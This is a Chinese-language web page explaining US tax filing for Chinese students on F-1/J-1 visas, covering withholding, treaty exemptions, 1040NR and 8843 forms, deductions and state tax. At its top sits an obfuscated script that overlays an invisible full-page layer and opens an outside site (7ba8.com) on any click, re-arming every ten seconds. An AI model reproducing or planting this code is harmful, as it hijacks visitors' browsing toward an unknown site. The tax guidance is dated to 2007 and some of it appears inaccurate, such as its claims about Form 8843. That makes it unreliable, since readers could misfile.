<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>对于大多数留学生来说，刚来美国的几年，主要的收入是以 Fellowship，TA， RA等形式的奖学金，校内兼职和暑期校外实习等为主的。一般在收到这些收入的同时，都会有相当一部分的钱被预先作为税款扣留 (withhold)，所以很多时候名义上的奖学金很多，但是收到的 stipend却明显少了一大块，然后在 IRS退税的时候，又会因为之前被系里或者学校多扣留的奖学金而一下子收到 IRS一张比较大的支票(1000美元以上是很正常的)。对于奖学金，由于奖学金的类型不同，差别比较大。对于纯正的 Fellowship，联邦税是不需要交的 (Tax Treaty 20(b))。对于 TA/RA，联邦税复杂一点。首先根据上面提到的那个中美之间的协议，前五年，第一个 5千美元是免联邦税的(Tax Treaty 20(c))。扣除其他逐项减免条款应该减免的部分，剩下来的收入需要交大致 15%的联邦税。其他应该减免的部分指：$3500 federal deduction for 2007 + Claimed Deductions (Airfares, etc)，每个人的这个部分都可能不一样，比如有规定可以将买的笔记本算成一个减免，所以这个里面有很多门道。
每年 1月底前，收入来源各单位(学校或者所在的系)将会寄给你薪资所得凭单，即 W-2表，上面记录有收入总额以及被扣除的个人所得税额和社会福利税额。若领取到的是 1042S表，说明该笔收入属于免税范围。在银行有存款的人，还会收到利息收入单，即 1099INT表，上面列有所获利息及预扣金额。开户时如填写 W-8表，声明自己的非居住外国身份者，银行则免除预扣所得税。各种报税的表格可到 IRS的官方网站下载，报税那几个月，很多学校的图书馆都会有相关的各种表格提供。有关表格如何填写的问题非常复杂，同时也是因人而异，这里不具体阐述。好在大多数中国学生收入成分比较单
一，填写起来相对简单。
中国留学生以非居住外国人身份报税，需要填写两项表格需要填写 1040NR和 8843两种表格，可自行到 IRS网站上下载填写(8843不是必要的，相关信息 1040里面都有了，8843就是个补充。一般 F1填 1040NR-EZ就够了，EZ是 easy的简写表明他是 1040NR的简化版，因为 1040NR里面有很多内容我们都不用填。)。要指出的是，非居住外国人仅能申报自己一人的税务，配偶与子女不得一起申报。这也就是说，1040NR表只能一人填一份。如配偶也有收入，且两人均为非居住外国人身份，则每人都需填报一份 1040NR表。如有一人满足居住外国人的条件，全家或可按居住外国人身份报税，但失去某些报税优惠。较好的办法是，满足居住外国人条件的非学生配偶与子女合填无优惠的 1040或 1040A表，学生自己则填可享受优惠的 1040NR表。当然，到底如何填报，还应根据收入情况选择，以达合法少交税的目的。
中国留学生由于收入相对单一，该缴多少税计算起来并不复杂，通常是将纳税人一年的总收入，减去各种不需缴税的收入，减去标准减免额（Standard Deduction），剩下的部分就是需要缴税的收入。纳税率为一个阶梯函数，随需缴税收入的增加而增加，从零到百分之三十。 IRS印有纳税表，根据需要缴税的收入可在表中直接查出要缴多少税。不过，国税局每年对各种免税收入和纳税率都略有修改，填表时要以当年的规定为准。
所以到底缴税多少，不是由个人的全年总收入决定，而是由需要缴税的收入决定。报税的技巧就在于利用国税局的各种规定，找出最适合自己的填报法，以使各种不需缴税的收入最大，这样就可少缴不少税款。在美国，有许多书籍专门介绍合法少缴税的方法。有兴趣的读者，不妨阅读一下，掌握报税的技巧。此外，还有专门的报税公司，为不愿费神填表的纳税人服务。一般而言，这些报税公司都知道如何少缴税。大略上，常用的少缴税方法有：把存款存入免税的共同基金账户，利息可免税；房地产贷款利息亦可免税；普通退休基金则可推迟缴税。此外，逐项减免扣除条款（ Itemized Deduction）也有许多学问可做，不少开销都可列入其中，如慈善捐款、意外事故、被盗损失、旅行花费等等。甚至雇自己子女作家务，付给他们的工资，也可减少你需要纳税的收入。总之，需要在合法的基础上，合理地运用游戏规则少缴税。
报税时，应仔细阅读税表及有关规定。填好税表后，要仔细核对是否有误，并附上相关资料，以免日后补寄。最后，务必将一切表格及所附文件一一复印，并妥善保存至少五年，以防国税局缉查。报税程序，应是先填报联邦税表，得出需缴税收入后，再据此填报州税表。一切都填好之后，应于四月十五日前寄出，无任何收入的则可在六月十五日前寄出。原则上，越早申报越好，早申报可早退税，迟申报则被罚款。持 F-1和 J-1签证的学生和访问学者，不包括他们的家属，在理论上都属非居住外国人，不需缴纳社会安全税，但许多雇主在发薪时却预扣下社会安全税。如果遇到这种情况，应及时与雇主联系，让其发还所扣款项。若雇主没有退还社会安全税，报税时则需填一份 8843表，同你的 1040NR表一起寄给 IRS，即可从 IRS要回被扣除的社会安全税。但如果你与全家合填 1040或 1040A表，就无法要回这笔税了。
对于州税，各个州的规定有所不同。请参照各个州的税法条款。其实也跟联邦税制相似，总之先给出总收入，然后有各种 State Deductions条款，然后算出应税部分。应税部分再乘以一个税率得到。比较高的州是 10%左右，比如加州，有些州是没有州所得税的，比如德州。 |
收藏